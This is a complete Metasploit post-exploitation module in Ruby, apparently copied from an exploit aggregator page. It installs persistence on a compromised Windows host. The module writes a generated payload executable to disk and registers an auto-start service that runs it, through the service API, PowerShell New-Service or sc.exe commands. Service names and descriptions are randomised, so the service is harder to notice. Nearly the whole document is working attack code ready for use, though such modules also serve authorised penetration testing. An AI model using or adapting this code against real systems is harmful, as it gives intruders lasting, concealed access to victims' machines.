Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-PERSISTENCE-SERVICE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Post::Windows::Services
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Post::Windows::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/windows/local/persistence_service'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Persistent Service Installer',
        'Description' => %q{
          This Module will generate and upload an executable to a remote host.
          It will create a new service which will start the payload whenever the service is running. Admin or system
          privilege is required.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Green-m <greenm.xxoo[at]gmail.com>', # original module
          'h00die' # persistence updates
        ],
        'Platform' => [ 'windows' ],
        'Targets' => [['Windows', {}]],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Privileged' => true,
        'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
        'DefaultTarget' => 0,
        'References' => [
          ['URL', 'https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-service?view=powershell-7.5'],
          ['URL', 'https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754599(v=ws.11)'],
          ['ATT&CK', Mitre::Attack::Technique::T1543_003_WINDOWS_SERVICE],
          ['ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
        ],
        'DisclosureDate' => '2018-10-20',
        'DefaultOptions' => {
          'EXITFUNC' => 'process' # process keeps powershell from returning errors on service start
        },
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
        OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]),
        OptString.new('SERVICE_DISPLAY_NAME', [false, 'The display name of service. Random string as default.']),
        OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ]),
        OptEnum.new('METHOD', [false, 'Which method to register and start the service', 'Auto', ['Auto', 'API', 'Powershell', 'sc.exe']]),
      ]
    )
  end

  def check
    print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
    return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)

    return CheckCode::Safe('You must be System/Admin to run this Module') unless is_system? || is_admin?

    CheckCode::Appears('Likely exploitable')
  end

  def install_persistence
    fail_with(Msf::Module::Failure::NoAccess, 'Insufficient privileges to create service') unless is_system? || is_admin?

    rexename = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(4..8)
    @service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(8..12)
    @service_dname = datastore['SERVICE_DISPLAY_NAME'] || Rex::Text.rand_text_alpha(4..8)
    @service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..12)

    rexename << '.exe' unless rexename.end_with?('.exe')

    vprint_status('Compiling payload')
    @dest_pathname = writable_dir + '\\' + rexename
    exe = generate_payload_exe_service({ servicename: @service_name, arch: payload.arch[0] })
    write_file(@dest_pathname, exe)
    print_good("Payload written to #{@dest_pathname}")

    success = false
    if datastore['METHOD'] == 'API' || datastore['METHOD'] == 'Auto'
      vprint_status('Attempting API method')
      success = api_service
    end
    if (datastore['METHOD'] == 'Powershell' || datastore['METHOD'] == 'Auto' && !success) && have_powershell?
      vprint_status('Attempting Powershell method')
      success = powershell_service
    end
    if datastore['METHOD'] == 'sc.exe' || datastore['METHOD'] == 'Auto' && !success
      vprint_status('Attempting sc.exe method')
      sc_service
    end

    @clean_up_rc << "rm \"#{@dest_pathname.gsub('\\', '\\\\\\\\')}\"\n"
    @clean_up_rc << "execute -H -f sc.exe -a \"stop #{@service_name}\"\n"
    @clean_up_rc << "execute -H -f sc.exe -a \"delete #{@service_name}\"\n"
  end

  def powershell_service
    vprint_status("Install service: #{@service_dname} (#{@service_name})")
    service_builder = "New-Service -Name '#{@service_name}' "
    service_builder << "-DisplayName '#{@service_dname}' "
    service_builder << "-Description '#{@service_description}' "
    service_builder << "-BinaryPathName '#{@dest_pathname}' "
    service_builder << '-StartupType Automatic'
    resp = cmd_exec("powershell -NoProfile -Command \"#{service_builder};\"")
    return false if resp.include?('Access is denied')
    return false unless resp.include?('Stopped')

    vprint_status("Service install response: #{resp}")
    vprint_status('Starting service')
    resp = cmd_exec("powershell -NoProfile -Command \"Start-Service '#{@service_name}'\"")
    vprint_status("Service start response: #{resp}")
    true
  end

  def sc_service
    vprint_status("Install service: #{@service_dname} (#{@service_name})")
    sc_cmd = "sc.exe create #{@service_name} "
    sc_cmd << "binPath= \"#{@dest_pathname}\" "
    sc_cmd << 'start= auto '
    sc_cmd << "DisplayName= \"#{@service_dname}\""
    resp = cmd_exec(sc_cmd)
    return false if resp.include?('FAILED')

    vprint_status("Service install response: #{resp}")
    vprint_status(cmd_exec("sc.exe description #{@service_name} \"#{@service_description}\""))
    vprint_status('Starting service')
    resp = cmd_exec("sc.exe start \"#{@service_name}\"")
    vprint_status("Service start response: #{resp}")
    true
  end

  def api_service
    vprint_status("Install service: #{@service_dname} (#{@service_name})")
    resp = service_create(@service_name,
                          {
                            display: @service_dname,
                            path: @dest_pathname
                          })
    return false unless resp == 0

    vprint_status("Service install code: #{resp}")
    vprint_status('Starting service')
    vprint_status("Service start code: #{service_start(@service_name)}")
    true
  end
end